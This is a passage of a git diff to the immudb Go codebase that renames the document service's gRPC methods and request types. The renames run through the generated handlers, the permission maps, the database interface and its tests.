srv.(DocumentServiceServer).CollectionUpdate(ctx, req.(*CollectionUpdateRequest)) + return srv.(DocumentServiceServer).UpdateCollection(ctx, req.(*UpdateCollectionRequest)) } return interceptor(ctx, in, info, handler) } -func _DocumentService_IndexCreate_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(IndexCreateRequest) +func _DocumentService_DeleteCollection_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(DeleteCollectionRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { - return srv.(DocumentServiceServer).IndexCreate(ctx, in) + return srv.(DocumentServiceServer).DeleteCollection(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/immudb.model.DocumentService/IndexCreate", + FullMethod: "/immudb.model.DocumentService/DeleteCollection", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(DocumentServiceServer).IndexCreate(ctx, req.(*IndexCreateRequest)) + return srv.(DocumentServiceServer).DeleteCollection(ctx, req.(*DeleteCollectionRequest)) } return interceptor(ctx, in, info, handler) } -func _DocumentService_IndexDelete_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(IndexDeleteRequest) +func _DocumentService_CreateIndex_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(CreateIndexRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { - return srv.(DocumentServiceServer).IndexDelete(ctx, in) + return srv.(DocumentServiceServer).CreateIndex(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/immudb.model.DocumentService/IndexDelete", + FullMethod: "/immudb.model.DocumentService/CreateIndex", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(DocumentServiceServer).IndexDelete(ctx, req.(*IndexDeleteRequest)) + return srv.(DocumentServiceServer).CreateIndex(ctx, req.(*CreateIndexRequest)) } return interceptor(ctx, in, info, handler) } -func _DocumentService_DocumentInsert_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(DocumentInsertRequest) +func _DocumentService_DeleteIndex_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(DeleteIndexRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { - return srv.(DocumentServiceServer).DocumentInsert(ctx, in) + return srv.(DocumentServiceServer).DeleteIndex(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/immudb.model.DocumentService/DocumentInsert", + FullMethod: "/immudb.model.DocumentService/DeleteIndex", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(DocumentServiceServer).DocumentInsert(ctx, req.(*DocumentInsertRequest)) + return srv.(DocumentServiceServer).DeleteIndex(ctx, req.(*DeleteIndexRequest)) } return interceptor(ctx, in, info, handler) } -func _DocumentService_DocumentInsertMany_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(DocumentInsertManyRequest) +func _DocumentService_InsertDocuments_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(InsertDocumentsRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { - return srv.(DocumentServiceServer).DocumentInsertMany(ctx, in) + return srv.(DocumentServiceServer).InsertDocuments(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/immudb.model.DocumentService/DocumentInsertMany", + FullMethod: "/immudb.model.DocumentService/InsertDocuments", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(DocumentServiceServer).DocumentInsertMany(ctx, req.(*DocumentInsertManyRequest)) + return srv.(DocumentServiceServer).InsertDocuments(ctx, req.(*InsertDocumentsRequest)) } return interceptor(ctx, in, info, handler) } -func _DocumentService_DocumentUpdate_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(DocumentUpdateRequest) +func _DocumentService_UpdateDocument_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(UpdateDocumentRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { - return srv.(DocumentServiceServer).DocumentUpdate(ctx, in) + return srv.(DocumentServiceServer).UpdateDocument(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/immudb.model.DocumentService/DocumentUpdate", + FullMethod: "/immudb.model.DocumentService/UpdateDocument", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(DocumentServiceServer).DocumentUpdate(ctx, req.(*DocumentUpdateRequest)) + return srv.(DocumentServiceServer).UpdateDocument(ctx, req.(*UpdateDocumentRequest)) } return interceptor(ctx, in, info, handler) } -func _DocumentService_DocumentSearch_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(DocumentSearchRequest) +func _DocumentService_DeleteDocuments_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(DeleteDocumentsRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { - return srv.(DocumentServiceServer).DocumentSearch(ctx, in) + return srv.(DocumentServiceServer).DeleteDocuments(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/immudb.model.DocumentService/DocumentSearch", + FullMethod: "/immudb.model.DocumentService/DeleteDocuments", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(DocumentServiceServer).DocumentSearch(ctx, req.(*DocumentSearchRequest)) + return srv.(DocumentServiceServer).DeleteDocuments(ctx, req.(*DeleteDocumentsRequest)) } return interceptor(ctx, in, info, handler) } -func _DocumentService_DocumentAudit_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(DocumentAuditRequest) +func _DocumentService_SearchDocuments_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(SearchDocumentsRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { - return srv.(DocumentServiceServer).DocumentAudit(ctx, in) + return srv.(DocumentServiceServer).SearchDocuments(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/immudb.model.DocumentService/DocumentAudit", + FullMethod: "/immudb.model.DocumentService/SearchDocuments", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(DocumentServiceServer).DocumentAudit(ctx, req.(*DocumentAuditRequest)) + return srv.(DocumentServiceServer).SearchDocuments(ctx, req.(*SearchDocumentsRequest)) } return interceptor(ctx, in, info, handler) } -func _DocumentService_DocumentProof_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(DocumentProofRequest) +func _DocumentService_AuditDocument_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(AuditDocumentRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { - return srv.(DocumentServiceServer).DocumentProof(ctx, in) + return srv.(DocumentServiceServer).AuditDocument(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/immudb.model.DocumentService/DocumentProof", + FullMethod: "/immudb.model.DocumentService/AuditDocument", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(DocumentServiceServer).DocumentProof(ctx, req.(*DocumentProofRequest)) + return srv.(DocumentServiceServer).AuditDocument(ctx, req.(*AuditDocumentRequest)) } return interceptor(ctx, in, info, handler) } -func _DocumentService_DocumentDelete_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(DocumentDeleteRequest) +func _DocumentService_ProveDocument_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(ProveDocumentRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { - return srv.(DocumentServiceServer).DocumentDelete(ctx, in) + return srv.(DocumentServiceServer).ProveDocument(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/immudb.model.DocumentService/DocumentDelete", + FullMethod: "/immudb.model.DocumentService/ProveDocument", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(DocumentServiceServer).DocumentDelete(ctx, req.(*DocumentDeleteRequest)) + return srv.(DocumentServiceServer).ProveDocument(ctx, req.(*ProveDocumentRequest)) } return interceptor(ctx, in, info, handler) } @@ -506,60 +474,56 @@ var DocumentService_ServiceDesc = grpc.ServiceDesc{ HandlerType: (*DocumentServiceServer)(nil), Methods: []grpc.MethodDesc{ { - MethodName: "CollectionCreate", - Handler: _DocumentService_CollectionCreate_Handler, - }, - { - MethodName: "CollectionGet", - Handler: _DocumentService_CollectionGet_Handler, + MethodName: "CreateCollection", + Handler: _DocumentService_CreateCollection_Handler, }, { - MethodName: "CollectionList", - Handler: _DocumentService_CollectionList_Handler, + MethodName: "GetCollection", + Handler: _DocumentService_GetCollection_Handler, }, { - MethodName: "CollectionDelete", - Handler: _DocumentService_CollectionDelete_Handler, + MethodName: "GetCollections", + Handler: _DocumentService_GetCollections_Handler, }, { - MethodName: "CollectionUpdate", - Handler: _DocumentService_CollectionUpdate_Handler, + MethodName: "UpdateCollection", + Handler: _DocumentService_UpdateCollection_Handler, }, { - MethodName: "IndexCreate", - Handler: _DocumentService_IndexCreate_Handler, + MethodName: "DeleteCollection", + Handler: _DocumentService_DeleteCollection_Handler, }, { - MethodName: "IndexDelete", - Handler: _DocumentService_IndexDelete_Handler, + MethodName: "CreateIndex", + Handler: _DocumentService_CreateIndex_Handler, }, { - MethodName: "DocumentInsert", - Handler: _DocumentService_DocumentInsert_Handler, + MethodName: "DeleteIndex", + Handler: _DocumentService_DeleteIndex_Handler, }, { - MethodName: "DocumentInsertMany", - Handler: _DocumentService_DocumentInsertMany_Handler, + MethodName: "InsertDocuments", + Handler: _DocumentService_InsertDocuments_Handler, }, { - MethodName: "DocumentUpdate", - Handler: _DocumentService_DocumentUpdate_Handler, + MethodName: "UpdateDocument", + Handler: _DocumentService_UpdateDocument_Handler, }, { - MethodName: "DocumentSearch", - Handler: _DocumentService_DocumentSearch_Handler, + MethodName: "DeleteDocuments", + Handler: _DocumentService_DeleteDocuments_Handler, }, { - MethodName: "DocumentAudit", - Handler: _DocumentService_DocumentAudit_Handler, + MethodName: "SearchDocuments", + Handler: _DocumentService_SearchDocuments_Handler, }, { - MethodName: "DocumentProof", - Handler: _DocumentService_DocumentProof_Handler, + MethodName: "AuditDocument", + Handler: _DocumentService_AuditDocument_Handler, }, { - MethodName: "DocumentDelete", - Handler: _DocumentService_DocumentDelete_Handler, + MethodName: "ProveDocument", + Handler: _DocumentService_ProveDocument_Handler, }, }, Streams: []grpc.StreamDesc{}, diff --git a/pkg/auth/permissions.go b/pkg/auth/permissions.go index 39a62bf2b5..3e986ef668 100644 --- a/pkg/auth/permissions.go +++ b/pkg/auth/permissions.go @@ -43,19 +43,19 @@ var maintenanceMethods = map[string]struct{}{ "ListTables": {}, "DescribeTable": {}, "VerifiableSQLGet": {}, - "DocumentInsert": {}, - "DocumentUpdate": {}, - "DocumentSearch": {}, - "CollectionCreate": {}, - "CollectionGet": {}, - "CollectionList": {}, - "CollectionUpdate": {}, - "CollectionDelete": {}, - "IndexCreate": {}, - "IndexDelete": {}, - "DocumentAudit": {}, - "DocumentProof": {}, - "DocumentDelete": {}, + "CreateCollection": {}, + "GetCollection": {}, + "GetCollections": {}, + "UpdateCollection": {}, + "DeleteCollection": {}, + "CreateIndex": {}, + "DeleteIndex": {}, + "InsertDocuments": {}, + "UpdateDocument": {}, + "DeleteDocuments": {}, + "SearchDocuments": {}, + "AuditDocument": {}, + "ProveDocument": {}, // admin methods "ListUsers": {}, @@ -117,19 +117,20 @@ var methodsPermissions = map[string][]uint32{ "ListTables": {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR}, "DescribeTable": {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR}, "VerifiableSQLGet": {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR}, - "DocumentInsert": {PermissionSysAdmin, PermissionAdmin, PermissionRW}, - "DocumentUpdate": {PermissionSysAdmin, PermissionAdmin, PermissionRW}, - "DocumentSearch": {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR}, - "CollectionCreate": {PermissionSysAdmin, PermissionAdmin, PermissionRW}, - "CollectionGet": {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR}, - "CollectionList": {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR}, - "CollectionUpdate": {PermissionSysAdmin, PermissionAdmin, PermissionRW}, - "CollectionDelete": {PermissionSysAdmin, PermissionAdmin, PermissionRW}, - "IndexCreate": {PermissionSysAdmin, PermissionAdmin, PermissionRW}, - "IndexDelete": {PermissionSysAdmin, PermissionAdmin, PermissionRW}, - "DocumentAudit": {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR}, - "DocumentProof": {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR}, - "DocumentDelete": {PermissionSysAdmin, PermissionAdmin, PermissionRW}, + + "CreateCollection": {PermissionSysAdmin, PermissionAdmin, PermissionRW}, + "GetCollection": {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR}, + "GetCollections": {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR}, + "UpdateCollection": {PermissionSysAdmin, PermissionAdmin, PermissionRW}, + "DeleteCollection": {PermissionSysAdmin, PermissionAdmin, PermissionRW}, + "CreateIndex": {PermissionSysAdmin, PermissionAdmin, PermissionRW}, + "DeleteIndex": {PermissionSysAdmin, PermissionAdmin, PermissionRW}, + "InsertDocuments": {PermissionSysAdmin, PermissionAdmin, PermissionRW}, + "UpdateDocument": {PermissionSysAdmin, PermissionAdmin, PermissionRW}, + "DeleteDocuments": {PermissionSysAdmin, PermissionAdmin, PermissionRW}, + "SearchDocuments": {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR}, + "AuditDocument": {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR}, + "ProveDocument": {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR}, // admin methods "ListUsers": {PermissionSysAdmin, PermissionAdmin}, diff --git a/pkg/database/document_database.go b/pkg/database/document_database.go index 6c1d65aa0b..7e69a13316 100644 --- a/pkg/database/document_database.go +++ b/pkg/database/document_database.go @@ -28,37 +28,35 @@ import ( // DocumentDatabase is the interface for document database type DocumentDatabase interface { // GetCollection returns the collection schema - GetCollection(ctx context.Context, req *protomodel.CollectionGetRequest) (*protomodel.CollectionGetResponse, error) + GetCollection(ctx context.Context, req *protomodel.GetCollectionRequest) (*protomodel.GetCollectionResponse, error) + // GetCollections returns the list of collection schemas + GetCollections(ctx context.Context, req *protomodel.GetCollectionsRequest) (*protomodel.GetCollectionsResponse, error) // CreateCollection creates a new collection - CreateCollection(ctx context.Context, req *protomodel.CollectionCreateRequest) (*protomodel.CollectionCreateResponse, error) - // ListCollections returns the list of collection schemas - ListCollections(ctx context.Context, req *protomodel.CollectionListRequest) (*protomodel.CollectionListResponse, error) + CreateCollection(ctx context.Context, req *protomodel.CreateCollectionRequest) (*protomodel.CreateCollectionResponse, error) // UpdateCollection updates an existing collection - UpdateCollection(ctx context.Context, req *protomodel.CollectionUpdateRequest) (*protomodel.CollectionUpdateResponse, error) + UpdateCollection(ctx context.Context, req *protomodel.UpdateCollectionRequest) (*protomodel.UpdateCollectionResponse, error) // DeleteCollection deletes a collection - DeleteCollection(ctx context.Context, req *protomodel.CollectionDeleteRequest) (*protomodel.CollectionDeleteResponse, error) + DeleteCollection(ctx context.Context, req *protomodel.DeleteCollectionRequest) (*protomodel.DeleteCollectionResponse, error) // CreateIndex creates an index for a collection - CreateIndex(ctx context.Context, req *protomodel.IndexCreateRequest) (*protomodel.IndexCreateResponse, error) + CreateIndex(ctx context.Context, req *protomodel.CreateIndexRequest) (*protomodel.CreateIndexResponse, error) // DeleteIndex deletes an index from a collection - DeleteIndex(ctx context.Context, req *protomodel.IndexDeleteRequest) (*protomodel.IndexDeleteResponse, error) - // InsertDocument creates a new document - InsertDocument(ctx context.Context, req *protomodel.DocumentInsertRequest) (*protomodel.DocumentInsertResponse, error) - // DocumentInsertMany creates a new document - DocumentInsertMany(ctx context.Context, req *protomodel.DocumentInsertManyRequest) (*protomodel.DocumentInsertManyResponse, error) + DeleteIndex(ctx context.Context, req *protomodel.DeleteIndexRequest) (*protomodel.DeleteIndexResponse, error) + // InsertDocuments creates new documents + InsertDocuments(ctx context.Context, req *protomodel.InsertDocumentsRequest) (*protomodel.InsertDocumentsResponse, error) // UpdateDocument updates a document - UpdateDocument(ctx context.Context, req *protomodel.DocumentUpdateRequest) (*protomodel.DocumentUpdateResponse, error) - // DocumentAudit returns the document audit history - DocumentAudit(ctx context.Context, req *protomodel.DocumentAuditRequest) (*protomodel.DocumentAuditResponse, error) + UpdateDocument(ctx context.Context, req *protomodel.UpdateDocumentRequest) (*protomodel.UpdateDocumentResponse, error) + // AuditDocument returns the document audit history + AuditDocument(ctx context.Context, req *protomodel.AuditDocumentRequest) (*protomodel.AuditDocumentResponse, error) // SearchDocuments returns the documents matching the query SearchDocuments(ctx context.Context, query *protomodel.Query, offset int64) (document.DocumentReader, error) - // DocumentDelete deletes a single document - DocumentDelete(ctx context.Context, req *protomodel.DocumentDeleteRequest) (*protomodel.DocumentDeleteResponse, error) - // DocumentProof returns the proofs for a document - DocumentProof(ctx context.Context, req *protomodel.DocumentProofRequest) (*protomodel.DocumentProofResponse, error) + // DeleteDocuments deletes documents maching the query + DeleteDocuments(ctx context.Context, req *protomodel.DeleteDocumentsRequest) (*protomodel.DeleteDocumentsResponse, error) + // ProveDocument returns the proofs for a document + ProveDocument(ctx context.Context, req *protomodel.ProveDocumentRequest) (*protomodel.ProveDocumentResponse, error) } // CreateCollection creates a new collection -func (d *db) CreateCollection(ctx context.Context, req *protomodel.CollectionCreateRequest) (*protomodel.CollectionCreateResponse, error) { +func (d *db) CreateCollection(ctx context.Context, req *protomodel.CreateCollectionRequest) (*protomodel.CreateCollectionResponse, error) { d.mutex.RLock() defer d.mutex.RUnlock() @@ -75,20 +73,11 @@ func (d *db) CreateCollection(ctx context.Context, req *protomodel.CollectionCre return nil, err } - return &protomodel.CollectionCreateResponse{}, nil -} - -func (d *db) ListCollections(ctx context.Context, _ *protomodel.CollectionListRequest) (*protomodel.CollectionListResponse, error) { - collections, err := d.documentEngine.ListCollections(ctx) - if err != nil { - return nil, err - } - - return &protomodel.CollectionListResponse{Collections: collections}, nil + return &protomodel.CreateCollectionResponse{}, nil } // GetCollection returns the collection schema -func (d *db) GetCollection(ctx context.Context, req *protomodel.CollectionGetRequest) (*protomodel.CollectionGetResponse, error) { +func (d *db) GetCollection(ctx context.Context, req *protomodel.GetCollectionRequest) (*protomodel.GetCollectionResponse, error) { if req == nil { return nil, ErrIllegalArguments } @@ -98,11 +87,20 @@ func (d *db) GetCollection(ctx context.Context, req *protomodel.CollectionGetReq return nil, err } - return &protomodel.CollectionGetResponse{Collection: cinfo}, nil + return &protomodel.GetCollectionResponse{Collection: cinfo}, nil +} + +func (d *db) GetCollections(ctx context.Context, _ *protomodel.GetCollectionsRequest) (*protomodel.GetCollectionsResponse, error) { + collections, err := d.documentEngine.GetCollections(ctx) + if err != nil { + return nil, err + } + + return &protomodel.GetCollectionsResponse{Collections: collections}, nil } // UpdateCollection updates an existing collection -func (d *db) UpdateCollection(ctx context.Context, req *protomodel.CollectionUpdateRequest) (*protomodel.CollectionUpdateResponse, error) { +func (d *db) UpdateCollection(ctx context.Context, req *protomodel.UpdateCollectionRequest) (*protomodel.UpdateCollectionResponse, error) { d.mutex.RLock() defer d.mutex.RUnlock() @@ -119,11 +117,11 @@ func (d *db) UpdateCollection(ctx context.Context, req *protomodel.CollectionUpd return nil, err } - return &protomodel.CollectionUpdateResponse{}, nil + return &protomodel.UpdateCollectionResponse{}, nil } // DeleteCollection deletes a collection -func (d *db) DeleteCollection(ctx context.Context, req *protomodel.CollectionDeleteRequest) (*protomodel.CollectionDeleteResponse, error) { +func (d *db) DeleteCollection(ctx context.Context, req *protomodel.DeleteCollectionRequest) (*protomodel.DeleteCollectionResponse, error) { d.mutex.RLock() defer d.mutex.RUnlock() @@ -140,11 +138,11 @@ func (d *db) DeleteCollection(ctx context.Context, req *protomodel.CollectionDel return nil, err } - return &protomodel.CollectionDeleteResponse{}, nil + return &protomodel.DeleteCollectionResponse{}, nil } // CreateIndex creates an index for a collection -func (d *db) CreateIndex(ctx context.Context, req *protomodel.IndexCreateRequest) (*protomodel.IndexCreateResponse, error) { +func (d *db) CreateIndex(ctx context.Context, req *protomodel.CreateIndexRequest) (*protomodel.CreateIndexResponse, error) { d.mutex.RLock() defer d.mutex.RUnlock() @@ -161,11 +159,11 @@ func (d *db) CreateIndex(ctx context.Context, req *protomodel.IndexCreateRequest return nil, err } - return &protomodel.IndexCreateResponse{}, nil + return &protomodel.CreateIndexResponse{}, nil } // DeleteIndex deletes an index from a collection -func (d *db) DeleteIndex(ctx context.Context, req *protomodel.IndexDeleteRequest) (*protomodel.IndexDeleteResponse, error) { +func (d *db) DeleteIndex(ctx context.Context, req *protomodel.DeleteIndexRequest) (*protomodel.DeleteIndexResponse, error) { d.mutex.RLock() defer d.mutex.RUnlock() @@ -182,35 +180,11 @@ func (d *db) DeleteIndex(ctx context.Context, req *protomodel.IndexDeleteRequest return nil, err } - return &protomodel.IndexDeleteResponse{}, nil -} - -// InsertDocument creates a new document -func (d *db) InsertDocument(ctx context.Context, req *protomodel.DocumentInsertRequest) (*protomodel.DocumentInsertResponse, error) { - d.mutex.RLock() - defer d.mutex.RUnlock() - - if d.isReplica() { - return nil, ErrIsReplica - } - - if req == nil { - return nil, ErrIllegalArguments - } - - txID, docID, err := d.documentEngine.InsertDocument(ctx, req.Collection, req.Document) - if err != nil { - return nil, err - } - - return &protomodel.DocumentInsertResponse{ - TransactionId: txID, - DocumentId: docID.EncodeToHexString(), - }, nil + return &protomodel.DeleteIndexResponse{}, nil } -// DocumentInsertMany inserts multiple documents -func (d *db) DocumentInsertMany(ctx context.Context, req *protomodel.DocumentInsertManyRequest) (*protomodel.DocumentInsertManyResponse, error) { +// InsertDocuments inserts multiple documents +func (d *db) InsertDocuments(ctx context.Context, req *protomodel.InsertDocumentsRequest) (*protomodel.InsertDocumentsResponse, error) { d.mutex.RLock() defer d.mutex.RUnlock() @@ -222,7 +196,7 @@ func (d *db) DocumentInsertMany(ctx context.Context, req *protomodel.DocumentIns return nil, ErrIllegalArguments } - txID, docIDs, err := d.documentEngine.BulkInsertDocuments(ctx, req.Collection, req.Documents) + txID, docIDs, err := d.documentEngine.InsertDocuments(ctx, req.Collection, req.Documents) if err != nil { return nil, err } @@ -232,14 +206,14 @@ func (d *db) DocumentInsertMany(ctx context.Context, req *protomodel.DocumentIns docIDsStr = append(docIDsStr, docID.EncodeToHexString()) } - return &protomodel.DocumentInsertManyResponse{ + return &protomodel.InsertDocumentsResponse{ TransactionId: txID, DocumentIds: docIDsStr, }, nil } // UpdateDocument updates a document -func (d *db) UpdateDocument(ctx context.Context, req *protomodel.DocumentUpdateRequest) (*protomodel.DocumentUpdateResponse, error) { +func (d *db) UpdateDocument(ctx context.Context, req *protomodel.UpdateDocumentRequest) (*protomodel.UpdateDocumentResponse, error) { d.mutex.RLock() defer d.mutex.RUnlock() @@ -256,14 +230,14 @@ func (d *db) UpdateDocument(ctx context.Context, req *protomodel.DocumentUpdateR return nil, err } - return &protomodel.DocumentUpdateResponse{ + return &protomodel.UpdateDocumentResponse{ TransactionId: txID, DocumentId: docID.EncodeToHexString(), Revision: rev, }, nil } -func (d *db) DocumentAudit(ctx context.Context, req *protomodel.DocumentAuditRequest) (*protomodel.DocumentAuditResponse, error) { +func (d *db) AuditDocument(ctx context.Context, req *protomodel.AuditDocumentRequest) (*protomodel.AuditDocumentResponse, error) { if req == nil { return nil, ErrIllegalArguments } @@ -281,12 +255,12 @@ func (d *db) DocumentAudit(ctx context.Context, req *protomodel.DocumentAuditReq return nil, fmt.Errorf("invalid document id: %v", err) } - revisions, err := d.documentEngine.DocumentAudit(ctx, req.Collection, docID, req.Desc, offset, limit) + revisions, err := d.documentEngine.AuditDocument(ctx, req.Collection, docID, req.Desc, offset, limit) if err != nil { return nil, fmt.Errorf("error fetching document history: %v", err) } - return &protomodel.DocumentAuditResponse{ + return &protomodel.AuditDocumentResponse{ Revisions: revisions, }, nil } @@ -296,20 +270,20 @@ func (d *db) SearchDocuments(ctx context.Context, query *protomodel.Query, offse return d.documentEngine.GetDocuments(ctx, query, offset) } -func (d *db) DocumentDelete(ctx context.Context, req *protomodel.DocumentDeleteRequest) (*protomodel.DocumentDeleteResponse, error) { +func (d *db) DeleteDocuments(ctx context.Context, req *protomodel.DeleteDocumentsRequest) (*protomodel.DeleteDocumentsResponse, error) { if req == nil { return nil, ErrIllegalArguments } - err := d.documentEngine.DeleteDocument(ctx, req.Query) + err := d.documentEngine.DeleteDocuments(ctx, req.Query, int(req.Limit)) if err != nil { return nil, err } - return &protomodel.DocumentDeleteResponse{}, nil + return &protomodel.DeleteDocumentsResponse{}, nil } -// DocumentProof returns the proofs for a documenta -func (d *db) DocumentProof(ctx context.Context, req *protomodel.DocumentProofRequest) (*protomodel.DocumentProofResponse, error) { +// ProveDocument returns the proofs for a documenta +func (d *db) ProveDocument(ctx context.Context, req *protomodel.ProveDocumentRequest) (*protomodel.ProveDocumentResponse, error) { if req == nil { return nil, ErrIllegalArguments } @@ -359,7 +333,7 @@ func (d *db) DocumentProof(ctx context.Context, req *protomodel.DocumentProofReq return nil, err } - return &protomodel.DocumentProofResponse{ + return &protomodel.ProveDocumentResponse{ Database: d.name, CollectionId: collectionID, IdFieldName: idFieldName, diff --git a/pkg/database/document_database_test.go b/pkg/database/document_database_test.go index 2dd671cf2a..7ce1bfd0b0 100644 --- a/pkg/database/document_database_test.go +++ b/pkg/database/document_database_test.go @@ -54,7 +54,7 @@ func TestDocumentDB_Collection(t *testing.T) { // create collection collectionName := "mycollection" - _, err := db.CreateCollection(context.Background(), &protomodel.CollectionCreateRequest{ + _, err := db.CreateCollection(context.Background(), &protomodel.CreateCollectionRequest{ Name: collectionName, Fields: []*protomodel.Field{ { @@ -71,7 +71,7 @@ func TestDocumentDB_Collection(t *testing.T) { require.NoError(t, err) // get collection - cinfo, err := db.GetCollection(context.Background(), &protomodel.CollectionGetRequest{ + cinfo, err := db.GetCollection(context.Background(), &protomodel.GetCollectionRequest{ Name: collectionName, }) require.NoError(t, err) @@ -85,18 +85,20 @@ func TestDocumentDB_Collection(t *testing.T) { require.Equal(t, protomodel.FieldType_INTEGER, resp.Fields[1].Type) // add document to collection - docRes, err := db.InsertDocument(context.Background(), &protomodel.DocumentInsertRequest{ + res, err := db.InsertDocuments(context.Background(), &protomodel.InsertDocumentsRequest{ Collection: collectionName, - Document: &structpb.Struct{ - Fields: map[string]*structpb.Value{ - "pincode": { - Kind: &structpb.Value_NumberValue{NumberValue: 123}, + Documents: []*structpb.Struct{ + { + Fields: map[string]*structpb.Value{ + "pincode": { + Kind: &structpb.Value_NumberValue{NumberValue: 123}, + }, }, }, }, }) require.NoError(t, err) - require.NotNil(t, docRes) + require.NotNil(t, res) // query collection for document reader, err := db.SearchDocuments(context.Background(), &protomodel.Query{ @@ -126,9 +128,9 @@ func TestDocumentDB_Collection(t *testing.T) { require.Equal(t, 123.0, doc.Fields["pincode"].GetNumberValue()) - proofRes, err := db.DocumentProof(context.Background(), &protomodel.DocumentProofRequest{ + proofRes, err := db.ProveDocument(context.Background(), &protomodel.ProveDocumentRequest{ Collection: collectionName, - DocumentId: docRes.DocumentId, + DocumentId: res.DocumentIds[0], }) require.NoError(t, err) require.NotNil(t, proofRes) diff --git a/pkg/database/truncator_test.go b/pkg/database/truncator_test.go index 8c31fd1e16..d388d940fe 100644 --- a/pkg/database/truncator_test.go +++ b/pkg/database/truncator_test.go @@ -647,7 +647,7 @@ func Test_vlogCompactor_with_document_store(t *testing.T) { // create new document store // create collection collectionName := "mycollection" - _, err := db.CreateCollection(context.Background(), &protomodel.CollectionCreateRequest{ + _, err := db.CreateCollection(context.Background(), &protomodel.CreateCollectionRequest{ Name: collectionName, Fields: []*protomodel.Field{ {Name: "pincode", Type: protomodel.FieldType_DOUBLE}, @@ -676,7 +676,7 @@ func Test_vlogCompactor_with_document_store(t *testing.T) { query(t, "SELECT * FROM table1", 0) // get collection - cinfo, err := db.GetCollection(context.Background(), &protomodel.CollectionGetRequest{ + cinfo, err := db.GetCollection(context.Background(), &protomodel.GetCollectionRequest{ Name: collectionName, }) require.NoError(t, err) @@ -696,12 +696,14 @@ func Test_vlogCompactor_with_document_store(t *testing.T) { _, err = db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{kv}}) require.NoError(t, err) - res, err := db.InsertDocument(context.Background(), &protomodel.DocumentInsertRequest{ + res, err := db.InsertDocuments(context.Background(), &protomodel.InsertDocumentsRequest{ Collection: collectionName, - Document: &structpb.Struct{ - Fields: 